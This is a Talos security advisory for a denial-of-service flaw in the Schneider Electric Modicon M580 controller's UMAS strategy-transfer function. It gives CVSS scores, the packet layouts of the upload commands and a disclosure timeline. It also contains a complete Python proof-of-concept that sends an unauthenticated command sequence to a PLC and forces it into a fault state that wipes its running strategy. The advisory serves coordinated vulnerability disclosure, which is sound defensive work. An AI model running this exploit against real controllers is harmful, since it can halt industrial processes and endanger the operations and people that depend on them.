Lucene search

K
talosTalos IntelligenceTALOS-2018-0737
HistoryJun 10, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability

2019-06-1000:00:00
Talos Intelligence
www.talosintelligence.com
186

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

48.8%

Summary

An exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

When programming a new strategy to a Modicon M580, six UMAS commands must be used in a specific order. First, a valid session and additional privilege must be obtained via a TAKE_PLC_RESERVATION request. This request gives the session the ability to successfully send privileged commands. With a valid reservation obtained an INITIALIZE_UPLOAD command must be sent, indicating that the new program will be following.

After the upload has been initialized, the first block of data must be sent to the device using an UPLOAD_BLOCK command. Failure to do so will prevent the device from accepting the upload.

Next, a command with the function code 0x6D must be sent. When this command is successfully received, the new strategy must be sent to the device in chunks of size 0x3F4 using the UPLOAD_BLOCK command. When sending the strategy it is important to resend the first block. Failure to do so will prevent the device from accepting the upload.

Once the strategy has been successfully sent, an END_STRATEGY_UPLOAD request must be sent to indicate that the last block has been sent. Finally, a RELEASE_PLC_RESERVATION command must be sent to give back the device reservation and restore the normal operating state.

The structure of a TAKE_PLC_RESERVATION command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |   F   | G |               H
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x10)
D --&gt; Unknown              (0x3B)
E --&gt; Unknown              (0x0E)
F --&gt; Unknown              (0x0000)
G --&gt; Client Name Length   (size of Client Name)
H --&gt; Client Name          (variable size)

The structure of the 0x6D command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
  +---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x6D)

The structure of a INITIALIZE_UPLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |
  +---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x30)
D --&gt; Unknown              (0x0001)

The structure of a UPLOAD_BLOCK command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |   F   |               G
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x31)
D --&gt; Unknown              (0x0001)
E --&gt; Block Number
F --&gt; Block Size           (0x03F4)
G --&gt; Data                

The structure of a END_STRATEGY_UPLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x32)
D --&gt; Unknown              (0x0001)
E --&gt; Blocks Sent

The structure of a RELEASE_PLC_RESERVATION command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | 
  +---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x11)

If the strategy uploaded during this process does not properly implement the file integrity checks it will cause the device to fail at the END_STRATEGY_UPLOAD step and trigger a recoverable fault state. In this state, the device stops its normal execution and removes the existing strategy. Recovery is possible through the use of the programming software UnityPro.

Exploit Proof of Concept

import struct
import socket
from time import sleep
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
 
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
 
def main():
    rhost = "192.168.10.1"
    rport = 502
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
 
    # TAKE_PLC_RESERVATION
    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x10"
    unknown = "\x25\x10\x00\x00"
    client_name = "test"
    client_name_len = len(client_name)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
    res = send_message(sock=s, umas=umas)
    if res[9] != "\xfe":
        print "[!] an error has occurred getting the PLC reservation"
    session = res[-1]
 
    # INITIALIZE_UPLOAD
    umas_fnc = "\x30"
    unknown = "\x00\x01"
    umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown)
    send_message(sock=s, umas=umas)
 
    # Read in prepared APX file
    data = ""
    with open("Station.apx", 'rb') as f:
        data = f.read()
 
    # Build APX File Blocks
    apx_len = len(data)
    blocks = []
    block = {}
    block_len = 0x3f4
    block_number = 1
    for i in xrange(apx_len):
        mod = i % block_len
 
        if mod == 0:
            block = {}
            block['blockNum'] = block_number
            block['data'] = data[i]
            blocks.append(block)
 
        else:
            blocks[block_number-1]['data'] = "%s%s" % (blocks[block_number-1]['data'], data[i])
            if mod == block_len-1 or i == apx_len-1:
                block['blockDataSize'] = len(blocks[block_number-1]['data'])
                block_number += 1
 
    # UPLOAD_BLOCK request for First Block
    umas_fnc = "\x31"
    block_num = 1
    block_size = len(blocks[block_num]['data'])
    conv_block_num = struct.pack("&lt;H", block_num)
    conv_block_size = struct.pack("&lt;H", block_size)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
    send_message(sock=s, umas=umas, data=blocks[0]['data'])
 
    # Required FNC 0x6D
    umas_fnc = "\x6d"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    send_data = "00040101000000".decode('hex')
    send_message(sock=s, umas=umas, data=send_data)
 
    # UPLOAD_BLOCK request with repeated First Block
    send_data = ""
    umas_fnc = "\x31"
    blocks_len = len(blocks)
    for i in xrange(blocks_len):
        conv_block_num = struct.pack("&lt;H", blocks[i]['blockNum'])
        block_size = len(blocks[i]['data'])
        conv_block_size = struct.pack("&lt;H", block_size)
        umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
        send_message(sock=s, umas=umas, data=blocks[i]['data'])
        sleep(.02)
 
    # END_UPLOAD
    umas_fnc = "\x32"
    unknown = "\x00\x01"
    num_blocks = struct.pack("&lt;H", len(blocks))
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, num_blocks)
    send_message(sock=s, umas=umas)
 
    # RELEASE_RESERVATION
    umas_fnc = "\x11"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    send_message(sock=s, umas=umas)
 
    # clean up
    s.close()
 
if __name__ == '__main__':
    main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

48.8%

Related for TALOS-2018-0737